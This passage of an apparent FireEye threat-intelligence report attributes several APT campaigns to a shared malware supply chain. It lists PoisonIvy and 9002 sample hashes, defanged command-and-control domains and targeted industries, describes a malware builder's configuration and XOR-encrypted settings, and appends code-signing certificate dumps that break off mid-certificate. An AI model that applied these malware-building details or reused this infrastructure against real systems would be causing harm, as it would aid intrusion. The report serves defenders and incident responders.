We identified 18 different samples linked to the Luckme campaign.
These samples were all detected as Trojan.
APT.PoisonIvy and had compile timestamps between April 3, 2011 and April 3, 2013.
Four of the samples from the Luckme campaign were packaged with the Sunshop PE resource.
Fifteen of the Luckme samples were signed with the digital certificate from Wuhan Tian Chen Information Technology Co., Ltd.
When executed, Luckme samples called back to these CnC servers: luckmegame.servegame[.
]com luckmevnc.myvnc[.
]com huangma.dyndns[.
]org zhouweb.dyndns[.
]info frontpage.dyndns[.
]org frontpage.dhis[.
]org blankorder.zapto[.
]org blankorder.dyndns-mail[.
]com registrat.dyndns[.
]org registrat.zapto[.
]org The campaign targeted these industries: High-tech Aerospace/Defense/Airlines Federal government Services/Consulting/VAR 21  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop MD5 Hash Compile Time Malware Family 01a3edddd7c130048b24822277c507f0 4/3/11 01:29 Trojan.
APT.PoisonIvy b885c7d2616ca27cb408efcd8328dd36 4/20/11 02:53 Trojan.
APT.PoisonIvy 7d41640e7dbf7b4a3c6dc147b994b01b 7/2/11 08:54 Trojan.
APT.PoisonIvy 9f729cb50867edcb71116df67a32ff24 6/9/12 03:10 Trojan.
APT.PoisonIvy 184a9d13616702154fb10ff9c5d67041 6/9/12 03:10 Trojan.
APT.PoisonIvy 89c54a39b64361df19ce5a2de14c47c6 9/18/12 16:22 Trojan.
APT.PoisonIvy 2b1675ac31a158e2518b3fbe77e935f1 10/19/12 14:39 Trojan.
APT.PoisonIvy bf75391e4aa5e812d138c53e24e17d9e 10/19/12 14:39 Trojan.
APT.PoisonIvy 96ad6bd5416571118a9e9b8d1cb9b8ee 10/19/12 14:39 Trojan.
APT.PoisonIvy f7ea36b555afe376427f6c32ade78595 10/19/12 16:59 Trojan.
APT.PoisonIvy 20728edd9a17e0a85719553115b25ec2 10/19/12 16:59 Trojan.
APT.PoisonIvy 21c9da542789db45db0c0e5389a49c46 10/19/12 16:59 Trojan.
APT.PoisonIvy 3caf55608384a6dfd98fb9c076863b7b 10/19/12 16:59 Trojan.
APT.PoisonIvy 2b825e46ae60a9d15b5a731e57410425 10/19/12 17:45 Trojan.
APT.PoisonIvy 011bc59a3dd478475bcd033cf09fa93a 10/19/12 17:45 Trojan.
APT.PoisonIvy ca22207c5441a100437b75d7ce0d3fe2 3/5/13 02:19 Trojan.
APT.PoisonIvy b08f2ae0542f60f463fcd160ec1e9355 4/3/13 23:00 Trojan.
APT.PoisonIvy 09d4c2f1f24fbdcb1c286b2f4c5589d2 4/3/13 23:00 Trojan.
APT.PoisonIvy Table 8: Luckme-related malware and compile times Cluster 8: Piping The Piping campaign appears to utilize strategic Web compromise as an initial infection vector.
We identified four different samples linked to the Piping campaign.
These samples were detected as Trojan.
APT.PoisonIvy and Trojan.
APT.9002.
The Piping linked samples had compile timestamps between December 19, 2012 and January 2, 2013.
All of the samples from this campaign were packaged with the Sunshop PE resource, and none was signed with a digital certificate.
When executed, the Piping samples called back to these CnC servers: koko4w.no-ip[.
]org okok4o.zapto[.
]org blabla4m.no-ip[.
]org piping.no-ip[.
]org The campaign targeted these industries: Chemicals/Manufacturing/Mining Financial services Energy/Utilities/Petroleum refining Healthcare/Pharmaceuticals High-tech 22  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop MD5 Hash Compile Time Malware Family ef4070380ed10008111102f575139b3d 12/19/12 20:25 Trojan.
APT.9002 76e7f9bd532e4204b749cb739d6ada1b 1/2/13 16:23 Trojan.
APT.PoisonIvy afc4d73bde2a536d7a9b7596288ce180 1/2/13 16:26 Trojan.
APT.PoisonIvy 25f38271e2a3d55a83917f1b9825fde9 1/2/13 16:27 Trojan.
APT.PoisonIvy Table 9: Piping-related malware and compile times Cluster 9: Update1 The Update1 campaign appears to utilize strategic Web compromise as an initial infection vector.
We identified five different samples linked to the Update1 campaign.
All of these samples were detected as Trojan.
APT.9002 and had compile timestamps between July 30, 2012 and December 19, 2012.
One of the Update1 samples was packaged with the Sunshop PE resource and one was packaged with the DTL PE resource.
None of the samples was signed with a digital certificate.
When executed, the Update1 samples called back to these CnC servers: update1.mysq1[.
]net update.mysq1[.
]net pack.fartit[.
]com updatedns.itemdb[.
]com The campaign targeted these industries: High-tech Entertainment/Media/Hospitality Applied research and development Services/Consulting/VAR MD5 Hash Compile Time Malware Family 9322365a4b89556b033b0ab90e43a68a 7/30/12 05:37 Trojan.
APT.9002 b0b8db07a5126e6a8e15299efe74d068 8/23/12 20:49 Trojan.
APT.9002 bdc562e2752fa7da15772906358bb082 8/24/12 14:36 Trojan.
APT.9002 0f8c4da83642efa4a70d9c8e52b67ba5 8/24/12 14:36 Trojan.
APT.9002 4cd171813a2d9d2152f7a7428d5348eb 12/19/12 20:25 Trojan.
APT.9002 Table 10: Update1-related malware and compile times 23  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop Cluster 10: Packets The Packets campaign appears to utilize spear- phishing email as an initial infection vector.
We identified one Trojan.
APT.9002 sample linked to the Packets campaign.
This sample had a compile time of December 19, 2012 and was packaged with the Sunshop PE resource.
The sample was not signed with a digital certificate.
It called back to this CnC server: mlog.ddns[.
]us Cluster 11: Allshell The Allshell campaign appears to utilize spear- phishing email as a vector to attack its targets.
We identified one Trojan.
APT.9002 sample linked to the Allshell campaign.
This sample had a compile time of October 16, 2012 and was packaged with the DTL PE resource.
The sample was not signed with a digital certificate.
It called back to this CnC server: stmp.allshell[.
]net The campaign targeted these industries: High-tech Aerospace/Defense/Airlines MD5 Hash Compile Time Malware Family bfaf33f80815471646dc007f7ac18f7b 12/19/12 20:25 Trojan.
APT.9002 Table 11: Packets-related malware and compile times MD5 Hash Compile Time Malware Family 0c6b69976fa75b477fcece125b4b0e96 10/16/12 19:45 Trojan.
APT.9002 Table 12: Allshell-related malware and compile times 24  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop Table 12: Allshell-related malware and compile times Shared Builders These observed shared characteristics across these malware samples are likely the result of a set of common builders developed by a shared development and logistics infrastructure.
Builders are tools used by malicious actors to quickly and easily create different variants of the same malware.
In a typical scenario, a skilled developer creates a builder and shares it with an operator more skilled in intrusion operations than in code development.
This separation of tasks is more efficient and supports a faster tempo of offensive operations.
A typical builder provides a graphical user interface that enables a threat actor to configure elements such as the location of the CnC server.
To recap, these shared characteristics, as discussed in previous sections, include the following: The Sunshop and DTL PE resources Common import tables Six different digital certificates Common compile times Common malware families 25  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop We identified a builder tool used to create Trojan.
APT.9002 binaries, which we are dubbing 9002 Builder.
This builder generates Trojan.
APT.9002 binaries with the DTL resource.
Figure 9: Typical Builder life cycle Figure 10: Builder used to generate Trojan.
APT.9002 malware 26  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop As shown in Figure 10, the dialogue and menu options in this GUI are in Chinese.
The builder enables threat actors to configure the following: Both a primary and a secondary CnC server.
A specific ID.
The default ID produced by this builder is 1.
An Internet health check domain.
The default health check domain configured in this builder was update.microsoft.com.
An Internet health check domain is typically used by malware to determine whether a targets endpoint is connected to the Internet before acting.
Proxy settings, including address/port, type, proxy authentication details, auto-detect proxy, and force-proxy only.
Also, the text in the title bar of this builder is [User_Server_Builder] update 2012-7-21.
Although the servers produced by this builder have a compile time of 10/23/12 8:30 UTC, we believe the date in the title bar of the builder is significant we identified five different binaries with a compile time of 7/21/12.
All five utilized the same DTL resource found in 9002 Builder.
MD5 Hash Compile Time CnC Server PE Resource a24992c89c4a8dd83b5e910131054c60 7/21/12 14:50 engage.intelfox[.
]com DTL 1bd468332c0dfc8ba2a3a5f286f20b7a 7/21/12 14:50 ru.pad62[.
]com DTL 859301c5874ca3739e8ac81ddfc676e6 7/21/12 14:50 ru.pad62[.
]com DTL 58e81154a87cc93d546c4c45de9b1ec3 7/21/12 14:50 ru.pad62[.
]com DTL 6ef66c2336b2b5aaa697c2d0ab2b66e2 7/21/12 14:50 tank.hja63[.
]com DTL Table 13: Malware samples created by a builder using the same DTL resource found in 9002 Builder 27  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop The 9002 Builder appears to be a modified variant of the builder used to create the samples listed in Table 12.
The compile time of the builder is 10/23/2012 11:18 UTC, a little less than 3 hours after the compile time of the server that is produced by it.
We believe it is a common practice for the developer to compile a new server, update the builder code accordingly, then compile the new builder.
The older date in the title bar may just be an oversight as i t would have to be manually updated by the developer.
The builder contains a copy of the server executable in its PE resource section, under BIN.
The server executable is responsible for installing the 9002 payload malware, and has its configuration block stored in its .data section, with some default settings including the CnC pointing to 192.168.8.105.
The configuration block uses simple, single-byte XOR encryption.
The key varies from version to version in some cases, it skips null bytes.
During the installation routine, the configuration block is written to the registry value sysinfo under the registry key HKCU\Software\Classes.
Figure 11: T9002 Builder configuration block before (left) and after (right) XOR decryption 28  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop When the threat actor builds a malware executable, the builder writes the server executable to disk and overwrites the configuration block with the newly configured options.
The location of the configuration block within the .data section is hard-coded, meaning that the builder must be modified each time the server code is updated and the location of the configuration block changes.
We noticed that the configuration block is indeed stored at a different offset in the samples compiled on 7/21/12 as compared to the sample created by the builder we have with the compile date of 10/23/12.
This further supports our belief in the practice of the developer compiling the server and then shortly after compiling the builder.
He would need time to locate the new offset of the configuration block in the newly compiled server executable and then change the hard-coded value in the builder code.
Attackers using 9002 Builder seem to have gradually adopted another launcher that stores the configuration block as a resource instead of storing it in its .data section.
Based on the compile-time analysis outlined in the Compile Times section of this report, the shift began in late October of 2012 (with a few exceptions).
This shift makes sense for the builders developer(s) they no longer needed to update the builder for every code change in the launcher or 9002 payload malware.
This launcher, mentioned earlier in this paper as having the import table hash 3a7faeac22e6ab5c3c28a2b617901b51, supports different payloads, such as Poison Ivy and 9002.
Figure 12: 9002 Builder code, with hard-coded offset to the servers configuration block 29  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop Conclusion Based on the evidence provided, we draw the following possible conclusions: [High Confidence] SDQ exists and supports separate APT campaigns.
We believe the most likely explanation for these documented correlations is that a shared development and logistics operation (SDQ) supports a number of different APT campaigns, as part of formal offensive apparatus.
[
Low Confidence] SDQ and APT campaigns are a single actor.
That said, it is conceivable that the 11 clusters of activity, previously believed to be independent campaigns run by different actors, are in fact one cluster of activity run by one well-resourced actor.
However, we believe this scenario is less likely because each cluster of activity utilized malware samples with different artifacts such as passwords, campaign identifiers, and mutexes.
These artifacts were generally consistent within each cluster of activity but differed across clusters.
[
Medium Confidence] SDQ does not exist, and APT actors informally share among each other.
Alternatively, different actors might be responsible for the documented 11 clusters of activity and instead of relying on a centralized development and logistics operation, these actors share TTPs through formal or informal channels.
In each of these scenarios, a shared development and logistics infrastructure or some notion of a digital quartermaster clearly underpins all of the activity presented in this report.
Whether this quartermaster involves informal connections between developers or a structured bureaucratic organization serving a central offensive apparatus is unclear.
Regardless of the scenario, the overall finding of a shared development and logistics infrastructure suggests targeted organizations are facing a more organized menace than they realize.
30  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop Appendix A: Authenticode/Digital Certificates Certificate: Data: Version: 3 (0x2) Serial Number: 4e:eb:08:05:55:f1:ab:f7:09:bb:a9:ca:e3:2f:13:cd Signature Algorithm: sha1WithRSAEncryption Issuer: CZA, OThawte Consulting (Pty) Ltd., CNThawte Code Signing CA Validity Not Before: Jun 19 00:00:00 2009 GMT Not After : Jun 19 23:59:59 2011 GMT Subject: CKR, STSeoul, LGeumcheon-gu, OMGAME Corp., OUWeb Dev Team, CNMGAME Corp. Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:c5:6a:00:76:7b:80:ce:08:78:aa:75:47:46:2a: 1b:42:e4:b8:bc:a3:10:1a:6d:29:31:fd:dd:21:1e: 27:9a:3a:39:c8:66:0d:7d:bd:da:74:cc:09:b7:51: 60:36:80:2e:da:f4:bd:b7:9c:8b:a2:f5:35:aa:d2: 4f:a5:0a:a4:77:5e:3b:fd:45:86:96:f0:00:d3:3b: 97:87:49:99:1e:8f:f3:0d:d9:cc:55:86:12:c0:5f: 9e:ed:d2:6e:34:12:f1:69:33:ff:09:ef:49:fc:95: d8:19:01:d9:bc:99:27:92:0b:b5:98:91:a1:2f:24: e1:dc:17:ae:2b:e1:85:c6:19 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: critical CA:FALSE X509v3 CRL Distribution Points: URI:http://crl.thawte.com/ThawteCodeSigningCA.crl X509v3 Extended Key Usage: Code Signing, Microsoft Commercial Code Signing 2.5.29.4: 0.0.0.. .....7....... Authority Information Access: OCSP - URI:http://ocsp.thawte.com 31  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop Netscape Cert Type: Object Signing Signature Algorithm: sha1WithRSAEncryption 8c:ea:48:e7:9f:4e:d9:49:9c:54:b2:56:02:0a:ce:d5:3a:5b: b7:2b:a6:8b:c2:13:08:6d:13:8f:17:af:d8:96:5c:13:f5:80: 5a:ec:bd:e7:be:76:85:84:76:82:6a:23:af:47:1b:0c:c4:fe: a3:cc:59:21:fd:c6:97:32:8b:6c:f3:34:ed:b3:b1:2a:4a:b3: 22:60:83:06:3b:36:c9:6c:c0:78:08:5c:de:1c:3d:09:49:73: a7:35:22:27:d6:19:ee:41:f6:10:fc:64:78:dc:dc:b2:79:82: 2a:61:2f:3e:cb:d7:7f:cf:fe:0f:4e:ab:47:d6:94:5b:84:40: f7:20 Certificate: Data: Version: 3 (0x2) Serial Number: da:61:49:95:64:a7:f1:8e:be:8b:03:b7:12:c2:9e:09 Signature Algorithm: sha1WithRSAEncryption Issuer: CUS, OWoSign, Inc., CNWoSign Code Signing Authority Validity Not Before: Aug 13 00:00:00 2010 GMT Not After : Aug 13 23:59:59 2011 GMT Subject: CCN, ST\xE6\xB9\x96\xE5\x8C\x97\xE7\x9C\x81, L\xE6\xAD\xA6\xE6\ xB1\x89\xE5\xB8\x82, O\xE6\xAD\xA6\xE6\xB1\x89\xE5\xA4\xA9\xE5\xAE\xB8\xE4\xBF\xA1\ xE6\x81\xAF\xE6\x8A\x80\xE6\x9C\xAF\xE6\x9C\x89\xE9\x99\x90\xE5\x85\xAC\xE5\x8F\xB8, OUWoSign Class 3 Code Signing, CN\xE6\xAD\xA6\xE6\xB1\x89\xE5\xA4\xA9\xE5\xAE\xB8\ xE4\xBF\xA1\xE6\x81\xAF\xE6\x8A\x80\xE6\x9C\xAF\xE6\x9C\x89\xE9\x99\x90\xE5\x85\xAC\ xE5\x8F\xB8 Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (2048 bit) Modulus (2048 bit): 00:ad:12:17:ee:5a:5a:a7:9f:ee:60:08:58:30:8d: 5d:2d:90:c6:ed:fd:20:53:7b:fe:23:44:77:4b:a9: 25:ca:b0:5d:d6:c8:3a:e5:1f:a5:bb:7e:f4:65:75: c7:2c:34:4e:4f:ea:a0:43:1f:10:ee:97:e8:7c:0e: 83:f6:09:ab:90:d0:5e:0b:36:2e:eb:7a:39:2c:fa: 7f:1a:b8:9d:5d:2e:3b:24:71:4a:3b:0a:a9:46:e1: 8e:28:a6:85:9c:da:52:f1:b0:6e:57:6f:24:81:bf: cf:36:1b:5a:95:d7:35:cb:c9:61:56:ac:3c:e4:cd: 73:66:a2:42:2a:32:ea:52:cc:c7:ab:9b:63:4e:a2: 77:d7:aa:6b:7f:14:25:15:e6:b6:f0:54:68:41:d2: 54:74:41:0b:6e:b8:fa:ac:22:26:94:2a:b7:2e:ce: 18:5e:9b:1d:0a:d1:bd:f1:b8:5a:39:b4:3e:21:1b: eb:ce:9b:3d:34:0f:19:fd:b3:b8:2e:13:53:80:2d: 29:af:14:bf:33:62:d8:68:b4:3f:02:98:26:bb:d5: 32  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop b7:69:cf:9c:f5:8a:bc:45:fd:7f:51:fa:5f:b9:33: fe:62:2c:cc:fc:43:34:7e:e8:9a:c0:2c:17:8c:25: c8:48:45:08:9f:4f:04:ce:54:c6:51:cc:3e:54:a0: 6a:cd Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Authority Key Identifier: keyid:A4:13:6A:3F:10:0B:D7:21:87:D4:8B:05:CA:BC:B1:02:CD:54:E2:8A X509v3 Subject Key Identifier: CB:DD:A1:49:1B:B3:17:85:BB:B1:A0:2D:33:18:82:39:9A:7B:CA:6F X509v3 Key Usage: critical Digital Signature X509v3 Basic Constraints: critical CA:FALSE X509v3 Extended Key Usage: Code Signing, Microsoft Commercial Code Signing X509v3 Certificate Policies: Policy: 1.3.6.1.4.1.6449.1.2.2.22 CPS: http://www.wosign.com/cps/ X509v3 CRL Distribution Points: URI:http://crl.wosign.com/WoSignCodeSigning.crl Authority Information Access: CA Issuers - URI:http://crt.wosign.com/WoSignCodeSigning.crt Signature Algorithm: sha1WithRSAEncryption 8d:89:24:cc:ea:3f:23:af:01:46:59:24:43:22:67:b3:27:74: 84:fc:ae:ea:03:bc:09:b5:f0:88:8a:13:01:d3:4f:d7:a9:01: c3:4c:5e:46:02:b5:46:e3:25:02:fc:f9:e3:f6:41:79:fa:18: c5:0f:96:06:78:db:ed:51:35:55:4b:d2:b3:07:11:13:f2:a9: 75:99:5e:ac:67:6a:3c:9f:a6:73:8a:4b:f4:ac:8c:a2:6b:e4: d6:a2:00:46:a5:73:11:d7:ca:e5:99:cd:68:b0:e3:ff:76:36: f4:62:a5:71:73:0c:cc:a5:79:e4:54:a2:7b:25:de:72:6b:0d: 67:ba:43:ec:98:26:da:bc:6a:bd:7e:29:c9:d2:75:b7:ac:6d: c9:d1:3b:e0:ef:9d:e9:1e:4a:17:fd:bd:81:6e:96:1e:13:f9: 7a:bf:66:ae:6b:7d:55:be:ce:71:0c:b7:e8:fd:da:72:58:fb: 0c:8b:d0:ec:6e:35:f3:be:02:cb:c1:40:8b:94:1d:24:32:8a: d7:84:fd:94:66:a2:65:7c:ca:f9:c1:27:b7:53:42:14:47:1a: 97:91:6f:87:e5:a5:02:63:69:79:9b:e2:a6:1c:67:eb:f4:ac: 42:91:47:79:51:fe:20:df:4a:49:b4:b2:a1:78:1f:22:60:0d: 0f:ca:b4:6e 33  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop Certificate: Data: Version: 3 (0x2) Serial Number: 37:3e:80:24:1c:d2:98:b0:4e:85:24:62:41:42:13:fc Signature Algorithm: md5WithRSAEncryption Issuer: CNRoot Agency Validity Not Before: Feb 21 06:00:46 2013 GMT Not After : Dec 31 23:59:59 2039 GMT Subject: OT\x09ye[\x89l\xF0/emailAddressJohn-hotmail-com, CNFacesun.cn Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:c4:dc:fb:70:09:61:88:95:a5:1a:dd:c9:5c:dd: c5:5b:3c:42:1a:f4:34:38:fc:ae:25:45:d6:ce:c3: a1:bd:60:e6:2d:34:1d:be:b3:12:66:ac:51:76:ce: 3f:fc:04:18:21:65:ef:f4:6f:8d:ea:a2:2e:bb:d4: 9e:05:ba:48:02:e7:05:2e:46:d2:26:db:ca:68:c8: ec:be:cf:0a:6f:21:e0:bf:dd:bf:c9:a3:cc:4c:1d: 5a:47:a9:e9:8f:36:43:ab:b6:95:40:04:5f:9f:5c: 12:f2:18:88:b5:ae:1c:52:2b:3f:2c:0b:fd:29:d2: c6:de:1b:e3:89:8c:b1:2d:29 Exponent: 65537 (0x10001) X509v3 extensions: 2.5.29.1: 0.....-...O..a..dc..0.1.0...U....Root Agency...7l...d......\5.
Signature Algorithm: md5WithRSAEncryption 34:1b:5f:c7:3c:a1:69:f3:3b:f3:9f:8d:09:1b:10:6a:8f:02: 00:28:7d:45:33:a0:2e:1b:70:d4:a4:5a:a3:85:a7:c6:35:4c: 31:6e:10:4b:91:48:4a:3d:1a:2c:cc:86:c4:e0:bd:2a:44:d7: 94:9b:9e:e6:71:1e:b8:58:32:15 Certificate: Data: Version: 3 (0x2) Serial Number: 97e:45:f7:bc:62:39:59:91:4f:5b:84:fa:b0:97:ba:b8 Signature Algorithm: sha1WithRSAEncryption Issuer: CUS, OVeriSign, Inc., OUVeriSign Trust Network, OUTerms of use at https://www.verisign.com/rpa (c)04, CNVeriSign Class 3 Code Signing 2004 CA Validity Not Before: Apr 16 00:00:00 2009 GMT Not After : Apr 18 23:59:59 2012 GMT 34  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop Subject: CCN, STBeijing, LBeijing, OSINA.COM TECHNOLOGY (CHINA) CO.
LTD, OUDigital ID Class 3 - Microsoft Software Validation v2, CNSINA.COM TECHNOLOGY (CHINA) CO.
LTD Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (1024 bit) Modulus (1024 bit): 00:ca:3f:cd:e7:f4:9d:19:fe:83:92:15:2c:06:8e: 4c:ff:7a:8d:17:0c:94:e8:3c:25:c1:c2:ed:d5:22: 87:b7:3c:81:c5:96:f1:94:cd:ef:19:c8:ce:13:85: 27:c4:75:af:f1:54:71:d5:2d:4b:7b:de:3c:ac:10: e0:68:16:d5:7c:55:3f:02:ff:84:5e:31:c9:47:69: 3e:d9:e1:dc:50:b2:ef:04:8d:da:02:25:cb:57:96: 6b:e9:fe:b3:d8:db:0f:6c:c7:e8:80:db:92:ac:5b: 6f:76:99:dd:13:70:92:d8:93:f2:53:16:5b:00:b1: a7:99:d2:3c:38:4f:4e:d9:43 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Basic Constraints: CA:FALSE X509v3 Key Usage: critical Digital Signature X509v3 CRL Distribution Points: URI:http://CSC3-2004-crl.verisign.com/CSC3-2004.crl X509v3 Certificate Policies: Policy: 2.16.840.1.113733.1.7.23.3 CPS: https://www.verisign.com/rpa X509v3 Extended Key Usage: Code Signing Authority Information Access: OCSP - URI:http://ocsp.verisign.com CA Issuers - URI:http://CSC3-2004-aia.verisign.com/CSC3-2004-aia.cer X509v3 Authority Key Identifier: keyid:08:F5:51:E8:FB:FE:3D:3D:64:36:7C:68:CF:5B:78:A8:DF:B9:C5:37 Netscape Cert Type: Object Signing 1.3.6.1.4.1.311.2.1.27: 0....... Signature Algorithm: sha1WithRSAEncryption bc:99:88:52:b3:26:a3:af:b4:09:83:4e:c2:4b:91:86:6c:e4: 50:9a:eb:27:cb:6a:e9:77:4f:b8:c3:42:0b:1d:1a:3b:21:ed: 09:32:67:62:1a:89:86:01:55:0b:44:01:75:d9:17:59:98:0c: 35  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop 5a:2d:09:33:f5:cd:e7:ba:f4:a3:04:0a:05:40:38:6a:7f:c5: bb:82:aa:0b:ae:3a:b0:78:27:6b:3a:f7:d9:ba:c7:1a:13:e3: 1d:ee:c9:b8:c7:54:c5:46:e4:8a:97:c6:07:11:45:0a:57:85: 7c:ab:35:7b:5d:45:0b:3f:84:c6:32:43:7a:06:aa:48:52:d0: 16:23:74:d0:e1:6d:2c:42:d1:bb:cf:f5:70:ca:27:8e:69:35: cc:72:b1:2d:dd:b1:9a:d1:f7:65:37:45:2e:36:c9:fd:9c:67: 87:b6:50:f8:e9:3f:86:a0:c6:3e:3f:66:6e:0e:de:fb:dc:67: d6:29:f0:25:5b:2d:53:92:cf:07:70:50:38:3c:04:34:57:19: 59:23:09:eb:44:fe:5b:40:a3:ae:ed:5f:1a:84:80:00:ab:b8: 2a:1f:da:ef:02:46:23:b4:1e:d1:6a:90:86:9c:12:af:13:b1: 59:63:b9:47:09:d8:ad:8a:c8:66:38:3c:44:a0:37:b4:27:9c: f5:ed:61:62 Certificate: Data: Version: 3 (0x2) Serial Number: 61:46:9e:cb:00:04:00:00:00:65 Signature Algorithm: sha1WithRSAEncryption Issuer: CUS, STWashington, LRedmond, OMicrosoft Corporation, OUCopyright (c) 2000 Microsoft Corp., CNMicrosoft Code Signing PCA Validity Not Before: Apr 4 19:43:46 2006 GMT Not After : Oct 4 19:53:46 2007 GMT Subject: CUS, STWashington, LRedmond, OMicrosoft Corporation, CNMicrosoft Corporation Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (2048 bit) Modulus (2048 bit): 00:cd:81:96:38:ae:5c:a2:f2:c1:df:de:d0:ab:95: 8d:d6:3c:9d:1f:8b:c3:5d:86:2e:5d:f0:b1:72:f5: ab:ac:88:6a:b5:da:b1:22:7b:0b:c8:c8:a5:4b:91: 5e:22:13:e9:f9:f5:23:9d:b5:f4:6e:76:ae:ef:ee: 81:61:79:a1:62:f4:6e:88:95:d0:6e:dd:c7:9f:d2: a4:51:11:76:61:ba:70:8a:65:a1:96:16:89:a7:5d: 81:d0:44:66:e5:db:56:9e:40:ca:fc:dc:76:24:2e: 44:30:00:e5:d6:7d:7b:95:11:d5:58:1d:a3:e8:4f: 0b:c9:88:dc:a2:d6:53:99:6c:ca:63:ca:99:6a:9a: 92:5e:4c:4d:11:e8:2f:d3:5b:5b:5e:5f:52:a3:73: 2d:a5:bb:84:45:0d:8c:19:15:76:cb:08:da:9a:a6: 70:15:e8:4d:ec:69:fd:5d:b2:6b:8f:ed:29:51:37: 38:8b:c6:46:49:15:94:50:98:b0:f4:68:a4:d7:de: 09:71:67:74:9e:77:8c:1d:85:6b:97:ea:e7:5f:45: cc:e0:e6:71:0d:d1:63:00:93:7b:31:98:8e:0b:b4: 36  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop 13:bd:b3:d0:ee:f1:df:21:ee:a9:60:61:ee:37:43: 3d:c3 Exponent: 65537 (0x10001) X509v3 extensions: X509v3 Key Usage: critical Digital Signature, Non Repudiation X509v3 Subject Key Identifier: EE:D9:6B:A9:75:53:CD:4F:EE:1B:4E:19:06:1E:A3:9C:AB:CF:94:FD X509v3 Extended Key Usage: Code Signing X509v3 Authority Key Identifier: keyid:25:F8:2B:4B:5D:C8:72:54:AD:E5:F6:A0:2A:17:16:FB:C1:F9:53:81 DirName:/OUCopyright (c) 1997 Microsoft Corp./OUMicrosoft Corporation/CNMicrosoft Root Authority serial:6A:0B:99:4F:C0:00:1D:AB:11:DA:C4:02:A1:66:27:BA X509v3 CRL Distribution Points: URI:http://crl.microsoft.com/pki/crl/products/CodeSignPCA2.crl Authority Information Access: CA Issuers - URI:http://www.microsoft.com/pki/certs/CodeSignPCA2.crt Signature Algorithm: sha1WithRSAEncryption 38:d9:ef:95:38:9b:5c:98:14:5d:54:6e:69:df:02:c8:e7:b3: fb:d3:c2:4d:ad:2f:ab:7f:54:0d:da:32:b6:f8:6a:e6:0d:fb: 21:1a:77:3e:a5:68:7a:b4:95:7e:8a:5c:f2:43:c4:83:9b:65: 7d:88:50:51:7c:82:14:f5:83:73:d7:a2:be:5c:ca:02:70:ce: 26:6c:17:bc:52:14:a5:89:c0:b7:e4:a1:cc:a1:75:9d:91:71: 3d:1b:c0:56:00:56:b5:f8:84:26:da:5e:33:fb:d6:25:7a:5e: 9a:da:a6:fb:f4:f2:41:1a:ac:55:46:ad:48:dc:91:38:13:58: 09:49:f1:f3:31:87:1f:bc:04:8e:5b:12:65:03:e9:0b:51:d0: a1:0c:8a:99:bd:d9:c1:a8:d0:08:15:25:21:b5:b6:57:89:1c: d1:5b:86:35:a5:ca:fd:aa:87:ec:a9:37:3f:b7:43:6b:e3:20: f1:45:bc:7e:ae:e9:f1:55:b2:a1:48:bc:65:be:53:34:d9:c9: e8:06:63:04:06:78:6e:50:ff:48:bb:9b:ea:43:5a:87:db:ad: 0a:80:f5:59:c5:2c:e4:e5:7f:5b:4a:e5:32:79:ee:22:85:92: 0c:2d:b3:50:5b:c6:c2:40:58:58:ab:d2:cd:e3:2f:c1:cd:ec: 6d:9f:37:79 Certificate: Data: Version: 3 (0x2) Serial Number: 37  www.fireeye.com Supply Chain Analysis: From Quartermaster to Sunshop 0b:72:79:06:8b:eb:15:ff:e8:06:0d:2c:56:15:3c:35 Signature Algorithm: sha1WithRSAEncryption Issuer: CUS, OVeriSign, Inc., OUVeriSign Trust Network, OUTerms of use at https://www.verisign.com/rpa (c)10, CNVeriSign Class 3 Code Signing 2010 CA Validity Not Before: Jun 12 00:00:00 2012 GMT Not After : Jun 12 23:59:59 2013 GMT Subject: CCN, STGuangdong, LGuangzhou, OGuangzhou YuanLuo Technology Co.,Ltd, OUDigital ID Class 3 - Microsoft Software Validation v2, CNGuangzhou YuanLuo Technology Co.,Ltd Subject Public Key Info: Public Key Algorithm: rsaEncryption RSA Public Key: (2048 bit) Modulus (2048 bit): 00:c6:ed:0a:22:9b:e6:e7:33:b4:2c:de:15:8a:cf: c7:ef:c0:c5:c5:af:6a:82:97:e7:28:32:38:54:95: 2c:4c:55:35:53:8f:74:6e:45:73:6e:0f:38:45:eb: 1b:2c:dd:21:46:24:34:47:83:9d:34:3d:47:01:4c: ca:95:52:a3:8c:28:e7:78:1b:7b:1c:76:b2:6c:30: 8d:f6:37:b3:63:0b:4d:1e:8a:91:bb:76:d7:30:0d: e6:5e:85:92:9f:d3:f8:46:2d:33:fb:e2:1d:65:59: 57:73:73:e2:15:d7:fb:0b:a8:ad:b6:3e:31:ae:df: af:5a:18:55:e6:bd:3c:1c:f4:21:4f:4b:74:26:7c: 57:83:37:99:c7:f9:c5:5f:85:1d:fa:14:24:b1:a3: 62:f8:fa:a0:27:b5:b9:1b:4e:05:31:dd:a6:28:10: 5f:39:72:97:ea:f6:db:eb:b7:9c:37:a6:64:3f:88: 9e:9f:13:64:02:d4:77:e1:76:3a:58:3d:71:ca:ae: 22:7b:b4:63:0d:0a:30:d3:cc:7e:c0:13:66:08:c5: c0:cf:5c:b6:44:07:f0:43:34:3e:39:67:1f:11:7c: 2b:a5:15:87:ce:92:fa:06:f7:5b:87:da:e9:e8:11: 